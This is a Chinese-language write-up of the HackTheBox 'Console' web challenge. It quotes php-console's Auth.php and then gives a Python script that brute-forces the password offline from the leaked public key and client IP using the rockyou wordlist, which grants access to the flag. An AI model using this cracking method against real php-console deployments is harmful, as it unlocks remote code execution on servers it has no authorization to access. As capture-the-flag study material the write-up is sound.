htb系列-Web Challenges-Console
Console
信息收集
打开直接是7.2.34版本的phpinfo,不同的是在版本下方有ip以及提示,确保加载php-console
那我们就按照提示来,先安装php-console
php-console是什么呢?实际就是利用浏览器的控制台进行phpde bug的chrome插件
艹艹艹艹艹这里坑了一天
在各种地方上下载了php-console,安装了至少四五个版本全都用不了,又看了chrome设置,重装chrome都没解决,看了github的源码跟自己安装的一直没差就没用源码,后面又下载源码发现立马能用了,吐了(chrome商场中php-console被删了)
感觉思路没错就一直肝这里,终于等到你了,但是发现找了好久又不知道密码,再次吐血
阅读github手册,感觉命令执行这里可能有考点
Remote PHP code execution allowed only in password protected mode
还是需要先过密码才行
返回包中发现php-console头,猜测这里的publickey可能有相关信息,在源码中找publicKey是怎么得来的
代码审计
//php-console/src/PhpConsole/Auth.php
<?php
namespace PhpConsole;
/**
* PHP Console client authorization credentials & validation class
*
* @package PhpConsole
* @version 3.1
* @link http://consle.com
* @author Sergey Barbushin http://linkedin.com/in/barbushin
* @copyright © Sergey Barbushin, 2011-2013. All rights reserved.
* @license http://www.opensource.org/licenses/BSD-3-Clause "The BSD 3-Clause License"
* @codeCoverageIgnore
*/
class Auth {
const PASSWORD_HASH_SALT = 'NeverChangeIt:)';
protected $publicKeyByIp;
protected $passwordHash;
/**
* @param string $password Common password for all clients
* @param bool $publicKeyByIp Set public key depending on client IP
*/
public function __construct($password, $publicKeyByIp = true) {
$this->publicKeyByIp = $publicKeyByIp;
$this->passwordHash = $this->getPasswordHash($password);
}
protected final function hash($string) {
return hash('sha256', $string);
}
/**
* Get password hash like on client
* @param $password
* @return string
*/
protected final function getPasswordHash($password) {
return $this->hash($password . self::PASSWORD_HASH_SALT);
}
/**
* Get authorization result data for client
* @codeCoverageIgnore
* @param ClientAuth|null $clientAuth
* @return ServerAuthStatus
*/
public final function getServerAuthStatus(ClientAuth $clientAuth = null) {
$serverAuthStatus = new ServerAuthStatus();
$serverAuthStatus->publicKey = $this->getPublicKey();
$serverAuthStatus->isSuccess = $clientAuth && $this->isValidAuth($clientAuth);
return $serverAuthStatus;
}
/**
* Check if client authorization data is valid
* @codeCoverageIgnore
* @param ClientAuth $clientAuth
* @return bool
*/
public final function isValidAuth(ClientAuth $clientAuth) {
return $clientAuth->publicKey === $this->getPublicKey() && $clientAuth->token === $this->getToken();
}
/**
* Get client unique identification
* @return string
*/
protected function getClientUid() {
$clientUid = '';
if($this->publicKeyByIp) {
if(isset($_SERVER['REMOTE_ADDR'])) {
$clientUid .= $_SERVER['REMOTE_ADDR'];
}
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$clientUid .= $_SERVER['HTTP_X_FORWARDED_FOR'];
}
}
return $clientUid;
}
/**
* Get authorization session public key for current client
* @return string
*/
protected function getPublicKey() {
return $this->hash($this->getClientUid() . $this->passwordHash);
}
/**
* Get string signature for current password & public key
* @param $string
* @return string
*/
public final function getSignature($string) {
return $this->hash($this->passwordHash . $this->getPublicKey() . $string);
}
/**
* Get expected valid client authorization token
* @return string
*/
private final function getToken() {
return $this->hash($this->passwordHash . $this->getPublicKey());
}
}
发现有getPublicKey函数
protected function getPublicKey() {
return $this->hash($this->getClientUid() . $this->passwordHash);
由getClientUid()函数和passwordHash组成,继续跟进
PasswordHash使用getPasswordHash函数生成
protected final function getPasswordHash($password) {
return $this->hash($password . self::PASSWORD_HASH_SALT);
}
getPasswordHash使用PASSWORD_HASH_SALT常量:NeverChangeIt:)
所以最后的publickey即为:
sha256(sha256(password + PASSWORD_HASH_SALT) + publicKey)
已知publickey和ClientUid和PASSWORD_HASH_SALT,编写exp爆破password值
编写exp
import hashlib
publickey='8b70ae3db538a84e6450dab09a2e81590de0f3cd79b4759d39c9d68b3ebb750f'
salt = 'NeverChangeIt:)'
ClientUid = '142.93.34.50'
wordlist = open('rockyou.txt','r',encoding='utf-8')
for password in wordlist:
password = password.strip()
hash = password + salt
passwordhash = hashlib.sha256(hash.encode()).hexdigest()
test = ClientUid + passwordhash
key = hashlib.sha256(test.encode()).hexdigest()
if key == publickey:
print(password)
break
else:
print('false')
舒服了,在php-console输入密码,在chrome浏览器|console获得flag